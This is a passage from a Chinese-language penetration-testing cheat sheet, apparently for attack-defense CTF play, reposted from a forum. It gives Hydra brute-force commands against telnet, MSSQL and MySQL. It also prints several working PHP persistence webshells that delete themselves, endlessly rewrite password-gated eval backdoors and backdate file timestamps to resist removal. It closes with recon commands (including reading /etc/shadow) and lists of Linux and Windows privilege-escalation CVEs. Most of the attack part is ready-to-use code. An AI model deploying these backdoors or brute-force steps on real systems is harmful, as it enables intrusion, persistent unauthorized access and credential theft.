hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

1
hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

1
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马:

1
2
3
4
5
6
7
8
9
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>'); //创建shell.php
sleep(0); //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); //
while(1)
{}
file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'); //创建shell.ph
sleep(0);

}




//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间,防止被删
usleep(5000);
}

?>


//passwd=AabyssTeam

//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';

$file1 = '/admin/.register.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 18:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
usleep(5000);
}
?>
//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马: .login.php/admin/.register.php

3.3.2 关键文件检索

组件检索

1
2
3
4
5
6
find / -name "apaech2.conf"                 //检索Apache主配置文件
find / -name "nginx.conf" //检索Nginx目录
find / -path "*nginx*" -name nginx*conf //检索Nginx配置目录
find / -name "httpd.conf" //检索Apache目录

find / -path "*apache*" -name apache*conf //检索Apache配置目录

网站首页

1
2
3
find / -name "index.php"                    //定位网站目录

find / -name "index.html" //定位网站目录

日志文件检索

1
2
3
4
5
/var/log/nginx/                           //默认Nginx日志目录
/var/log/apache/ //默认Apache日志目录
/var/log/apache2/ //默认Apache日志目录
/usr/local/tomcat/logs //Tomcat日志目录
tail -f xxx.log //实时刷新滚动日志文件
3.3.3 Linux提权

查询系统版本信息命令:

1
2
3
4
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查询内核版本信息命令:

1
2
3
4
5
6
7
8
9
uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

查看系统环境变量命令:

1
2
3
4
5
6
7
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看语言环境信息命令:

1
2
3
4
5
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set

查看文件上传环境信息命令:

1
2
3
4
5
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

这里列举一些可用利用的提权漏洞:

  • CVE-2023-0386(Linux OverlayFS权限提升漏洞)
  • CVE-2021-4034(Linux Polkit本地权限提升漏洞)
  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
  • CVE-2017-1000367(sudo本地提权漏洞 )
  • CVE-2016-1247(Nginx权限提升漏洞)
  • CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

Kali命令查询:

1
2
searchsploit CentOS 7
searchsploit Ubuntu 16.04

提权Exploit寻找:

编译提权Exp

1
gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权,确认权限:

1
cat /etc/shadow

其他提权姿势:CentOS 7系统利用suid提权获取Root Shell - FreeBuf网络安全行业门户

3.3.4 Windows提权

这里列举一些Windows的漏洞:

  • 各种Potato(Github上面基本都有)
  • CVE-2023-35359(Windows内核权限提升漏洞,开源了)
  • CVE-2022-24521(没有Exp的可以找我要)
  • CVE-2019-1405
  • CVE-2019-1322
  • MS17-017(整型溢出漏洞)

4# 参考链接

1
原文链接:https://forum.butian.net/share/2536